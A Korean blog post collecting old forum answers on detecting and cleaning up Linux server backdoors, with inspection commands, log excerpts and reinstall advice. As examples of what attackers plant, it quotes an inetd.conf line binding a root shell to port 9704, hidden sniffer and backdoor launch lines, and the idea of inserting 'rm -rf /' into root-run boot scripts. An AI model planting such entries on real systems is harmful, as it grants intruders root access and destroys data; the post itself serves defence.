[보안] 서버 보안 관리 ( 백도어 찾아내기 )

백도어 수습하기

이 글은 나우누리 리눅스 보안 문답란의 내용들을 제가 고른 겁니다. 소

잃고 외양간 고치는 거지만 잘 보시고 크래커의 흔적을 찾아보는 것도 적

어져 있습니다. 글 쓴 분의 이름은 중간 중간에 나올 겁니다.

저작권은 글 쓴 분들에게 있습니다.

lawwal(임대호)

먼저 언급드리고 싶은 말씀은 “백도어는 정형화되어 있지 않다.”는 것입니

다.

예컨대 /etc/rc.d/rc.local, /etc/inetd.conf 등의 파일에 뭐가 심어져 있

다든지 /etc/passwd에 사용자가 추가되어 있다든지…

백도어는 우리가 미처 알지 못하는 다양한 방법으로 존재할 수 있습니다.

1차적인 권고

서버 운영자가 침입자가 있음을 감지했더라도 그 사실을 침입자가 눈치채

지 못하도록 처신해야 합니다.

노련한 사람이라면 자신의 자취만을 감추는데 필요한 로그파일들만을 지우

고 사라지겠지만 자칫하면 시스템을 뽀작낼 수도 있기 때문입니다.

2차적인 권고

이쁘든 밉든 백도어(들)을 찾습니다. 보통 하나의 백도어를 찾으면 끝인줄

로 여기지만 제가 사태를 수습했던 몇몇 서버의 경우 최소 2가지에서 4가

지 형태의 백도어가 존재하더군요. 당연한 말씀이지만 찾아서 모조리 막습

니다.

제가 백도어를 찾는 방법중 일부를 소개합니다.

(이 자료는 예전에 뉴스그룹에 투고했던 글입니다.)

1.

# find /dev -type f

위와 같은 명령으로 쓸데없는 파일들(-_-)이 존재하는지 확인합니다. 보

통 /dev/MAKEDEV 등과 같이 device 를 관리하고자 하는 파일 이외의 것이

검색되면 일단 의심해봐야 합니다. 그리고 습성상 디렉토리명칭을 공백 한

바이트(” “)나 “…” 등과 같이 dot 3개 정도로 생성하여 쉽게 눈에 띄지

않게 하기도 하므로 이런 형태의 파일이나 디렉토리도 찾아보시기 바랍니

다.

2.

# grep -v “^#” /etc/inetd.conf

위와 같은 명령으로 불필요한(또는 크래커가 추가한) 서버에 관한 설정이

추가되어 있는지 확인합니다.

3.

# netstat -an | grep LISTEN

위와 같은 명령으로 서버에 열린 포트를 확인하여 의심가는 포트가 있다

면 포트를 물고 있는 데몬을 찾아 봅니다.

4.

/etc/passwd 파일을 열어서 최근에 추가된 사용자나 얍샵하게 기존 사용자

정보 사이에 숨겨둔 크래커의 일반계정이 존재하는지 확인합니다.

5.

시스템의 부트스크립트(/etc 경로 하단)에 백도어를 실행하는 등의 악성코

드가 존재하는지 확인합니다.

6.

필요할 경우 다음과 같이 find 명령의 시간옵션을 주어 최근에 변경된 파

일들을 찾아볼 수도 있겠습니다만, 크래커가 파일 수정일자까지도 변조했

다면 별로 유익한 방법이 되지 못할 수도 있습니다.

# find / -ctime -30 -type f

7.

포트를 이용한 백도어 뿐만 아니라 루트쉘을 얻도록 구성된 백도어가 구성

되어 있을 수 있으므로 시스템 내의 Set User ID(SUID) 파일들을 죄다 훑

어봐서 악성코드나 악성쉘이 아닌지 확인합니다.

3차적인 권고

침입자가 슈퍼유저 권한을 획득했었다면 시스템을 재설치하는 것이 필수라

고 감히 말씀드리고 싶습니다.

아시듯이 유닉스 계열에서 슈퍼유저 권한은 절대적인 지위에 있습니다. 소

프트웨어적인 어떠한 작업이라도 가능하다는 이야기 입니다.

고생끝에 보안구멍을 모두 막았노라고 장담하실 수도 있겠지만, /etc 디렉

토리 밑에 위치한 파일이나 경로중 어느 하나라도 일반 사용자에게 쓰기권

한이 부여되어 있을 경우 재수없으면 또 다시 악몽이 시작될 수 있습니

다. 침입자가 앙증맞게도 일반사용자로 로그인 하여 /etc/rc.d/rc.local

파일과 같이  슈퍼유저권한으로 자동으로 실행되는 스크립트파일

(/etc/sysconfig/network 등 대부분의 스크립트)에 rm -rf / 라는 줄을 삽

입하게되면 아좌주~ 재미있는  사태가 벌어지겠지요. 그만큼 슈퍼유저권한

을 한번쯤 잃은 서버라면 99%이상 신뢰할 수 없습니다. 파일의 무결성을

확인할 수 있는 tripwire 등을 사용하지 않던 서버라면 무조건 재설치하시

는게 좋습니다.

sciver(정성욱)

/usr/sbin/.bshell >>/dev/null &>/dev/null &

/usr/sbin/.sniff >>/dev/null &>/dev/null &

위의 .bshel 은 아마 외부에서 백도어로 들어올수 있게 하는 password 파

일을 출력 하는것 같습니다. 그리고 sniff는  netmask 안에 있는 모든 컴

퓨터의 네트웍 전송  데이터를 훔쳐보는 스니퍼링 프로그램입니다.

문제는 바로 스니퍼링 프로그램이죠. 말 그대로, 내부네트웍에 연결된 컴

퓨터의 모든 데이터를 훔쳐볼 수 있습니다.

둘다 눈에 잘 안띄게 하기 위하여 .파일 로 시작하였군요. 게다가 출력

도 /dev/null 이라는 변조된 파일에 하도록 되어 있고 말입니다. 해커는

단순히 bshell을 통해 알아둔 passwd를 이용하여 들어와 .sniff가 만들어

둔 데이터를 가져가는것만으로 그쪽 단체의 모든 데이터를 훔쳐볼수 있는

것입니다. 말 그대로, 치명적이죠… 제가 본 해킹 피해중에서 가장 최대

가 될것 같습니다…걱정…

해결책

0. 시스템을 전체 포맷하고 다시 인스톨하세요.

1. /etc/inetd.conf 에서 rlogin, rexec,

rsh, imap서비스 , nfinger, ntalk, gopher

를 모두 # 처리 하고 inet 재실행하세요.

2. redhat의 경우 http://www.redhat.com/support 에서 official errata

에 가서

security 에 관련된 (거의 모두) 것을 모두 받아 rpm upgrade 하세요.

특히 : bind, nfs, imap, syslog, ftp …

3. router 에서 telnet 패킷만큼은 외부에서 들어오는것을 차단하세요.

   몇군데, 고나리용 백도어를 제외하고 말입니다.   관리용

4. 쓰고 계신 내부 네트웍 이용자 모두의 모든 인터넷 계정등등을

모조리 바꾸세요…

>> sniffering 때문입니다.

5. 최신 패키지로 계속 업그레이드 하세요.

lion2004(이혜원)

루트 킷이 깔려있을 경우에 대해서 이야기하고 잇습니다.

shadow passwd 가 풀리고, name daemon, ps ,top , inetd등 수많은 데몬

을 바꾸어 놓고요.  증상으로는 w , who 등 현재 사용자 현황을 전혀 보실

수 없고  top 명령을 쓰면 화면이 안나올 겁니다.

패스워드 화일을 잘 살펴 보세요.  최근에 만들어진 UID 가 높은 계정부

터 그러니까   tail -15 /etc/passwd 해보시면 될겁니다. 모르는 계정이

있거나 그러시면 계정 dir로 가보세요.  만약 계정에 lrk.tgz 화일이 있다

면 이미 해킹당하고,  중요한 데몬 대부분을 바꾸구 난 뒤 입니다.

들어 오는 방법은 FTP로 접속해서  ROOT권한을 획득해서 당당하게 계정을

만든후  lrk.tgz를 ftp로 업로드후 실행시킨후 사라집니다.  이걸 복구 할

려면, linux 를 다시 Install 시키셔야 합니다.  물론 lrk/install 을 보

면 무엇을 바f는지 알수 있으니까   그것만 구하셔서 다시까셔도 됩니

다.  개인용 컴퓨터에 서버에 깔린 것이랑 같은 버전의 Linux를  설치하시

고 프로그램들을 덮어 쓰셔도 되지만.  install에 써 있는거 이외에 다른

것도 설치 했을수도   있지때문에 다시 설치하시는것이 좋습니다.

원래 한번 해킹당하면 /home과 /etc만 백업받고  나머지는 날려버리는게

가장 안정하죠.  파티션 다시 잡을 필요도 없고 포맷시킬필요도 없이,  그

냥 덮어 쓰면 되구요.  그전에 /etc 를  백업 받으셔서 /home 밑에 넣어

놓으시기 바랍니다.   그리고 다시 /etc에서 text로 된 설정화일 들만

Copy 하시면  됩니다. 절대 binary File 은 Copy 하시면 안됩니다.  ( –

/etc에 binary가 있나? – )

주로 MCI.NET쪽으로 들어오는데,  /etc/hosts.deny 화일을 이용해서 일단

MCI.NET쪽 C-CLASS IP 전부를  막아 놓으시구요.  Anonymous FTP를 허용하

고 계시다면 막는 것을 심각하게 고려 하시기 바랍니

다.  /etc/inetd.conf , /etc/services 화일에서,  요즘 쓰지도 않는 것

과 약간의 보안성에 의문이 가는 것들과   괜히 해커에게 정보만 주는 것

은 모조리 막으시기 바랍니다.  gopher, rlogin, exec, talk, ntalk,

dtalk, imap (요즘 다 pop-3쓰죠?),  tftp, bootps, finger, cfinger,

netstat, systat등입니다.  리눅스 사용중 알짜 red-hat 5.0을 까신 경우

라면  즉시 ftp.hpcnet.ne.kr로 접속하셔서

심각한 보안성 버그 발견된 bind전체랑 imap 등 왠만하면 다 받으셔서 설

치하시기 바랍니다.  ( * rpm 설치법 : rpm -Uvh RPM.rpm )  커널 버전이

2.0.32 라면 반드시 2.0.35로 업그레이드 하시기 바랍니다.  그리고 다시

깔지 않은  /home 디렉토리나 아니면 차라리 서버 전체에서  set uid준 프

로그램들을 체크하시기 바랍니다.  그리고 패스워드를 전부 바꾸시기 바랍

니다. 휴.. 이제 이정도면 어느 정도 방어는 됐군요..  이제 서버 사용중

에 보안성관련 버그에 관한 글들에 관심을 기울이시고   바로 업데이트 하

시고 가장 중요한 것은 정기적으로 백업받는것입니다.  백업만 받아 두면

서버 날릴까봐 이러지도 저러지도 못하고 질질끌진 않죠.  좋은 통신하시

고, 어느 정도 도움이 되었으면 합니다.

island01(고현준)

다음은 /var/log/messages 파일의 일부를 가져온 것입니다..

참고로 저의 호스트이름은 jaguar 입니다..

의문이 가는 부분을 앞에 ** 해놓았습ㅈ니다.

Nov  6 21:43:35 jaguar rc.sysinit: Mounting local filesystems

succeeded

Nov  6 21:43:35 jaguar rc.sysinit: Turning on user and group quotas

for local f

ilesystems succeeded

Nov  6 12:43:37 jaguar date: Sat Nov  6 12:43:37 KST 1999

Nov  6 12:43:37 jaguar rc.sysinit: Setting clock : Sat Nov  6

12:43:37 KST 1999

succeeded

Nov  6 12:43:37 jaguar rc.sysinit: Enabling swap space succeeded

**Nov  6 12:43:49 jaguar adduser[98]: new group: name=jaja, gid=504

**Nov  6 12:44:54 jaguar PAM_pwdb[101]: password for (jaja/0)

changed by ((null

)/0)

**Nov  6 12:44:56 jaguar PAM_pwdb[102]: (su) session opened for user

jaja by (u

id=0)

**Nov  6 12:44:58 jaguar PAM_pwdb[102]: (su) session closed for user

jaja

Nov  6 12:44:58 jaguar init: Entering runlevel: 5

Nov  6 12:44:59 jaguar apmd[121]: Version 3.0beta4 (APM BIOS 1.2,

Linux d

river

1.9)

Nov  6 12:44:59 jaguar apmd: apmd startup succeeded

Nov  6 12:45:01 jaguar network: Bringing up interface lo succeeded

………………….

보면은 부팅과정이라는 거 알수있는데… rc.sysinit 에서 rc5d로 넘어가

는 중간에 jaja라는 id가 하나 생기네엽.. 이 컴은 울과 실습실에 있는 거

고 제가 리눅스깔아서 쓰고 있던 거였는데.. 누군가가 root를 목적으로 의

도적으로 리부팅해서 jaja를 만든 것이 아닌지 의문이 듭니다… 아..그리

고 실제로 passwd에 jaja라는 아뒤는 uid=0 gid=4로 등록되어있었습니다

라그품바(배재용)

etc/inetd.conf 에… 이런 글이..

마지막에..

auth   stream  tcp     nowait    nobody    /usr/sbin/in.identd

in.identd -l -e -o

#

# End of inetd.conf

linuxconf stream tcp wait root /bin/linuxconf linuxconf –http

#swat      stream  tcp     nowait.400      root /usr/sbin/swat swat

linuxconf stream tcp wait root /bin/linuxconf linuxconf –http

9704 stream tcp nowait root /bin/sh sh -i

~

이 경우 telnet x.x.x.x 9704 로 들어갈 경우에 root가 됩니다.

lawwal(임대호)

/var/log/messages에서

Apr  6 04:04:19 locust PAM_pwdb[1177]: (su) session opened for user

news by (uid=0)

위 부분은 이름없는(?) 슈퍼유저 권한(UID=0) 으로 su 명령을 내려

“news”라는 사용자로 변경했던 흔적입니다.

위의 로그중 by ???? (uid=0) 부분의 ???? 부분에 아무것도 들어 있지 않

은것은

백도어를 이용하여 접근해서 인증정보가 존재하기 않기 때문에 root 등으



적히지 않고 무명용사(!)가 작업한 것으로 로그에 기록된 것 같군요.

서진우

슈퍼컴퓨팅 전문 기업 클루닉스/ 상무(기술이사)/ 정보시스템감리사/ 시스존 블로그 운영자

You may also like...

페이스북/트위트/구글 계정으로 댓글 가능합니다.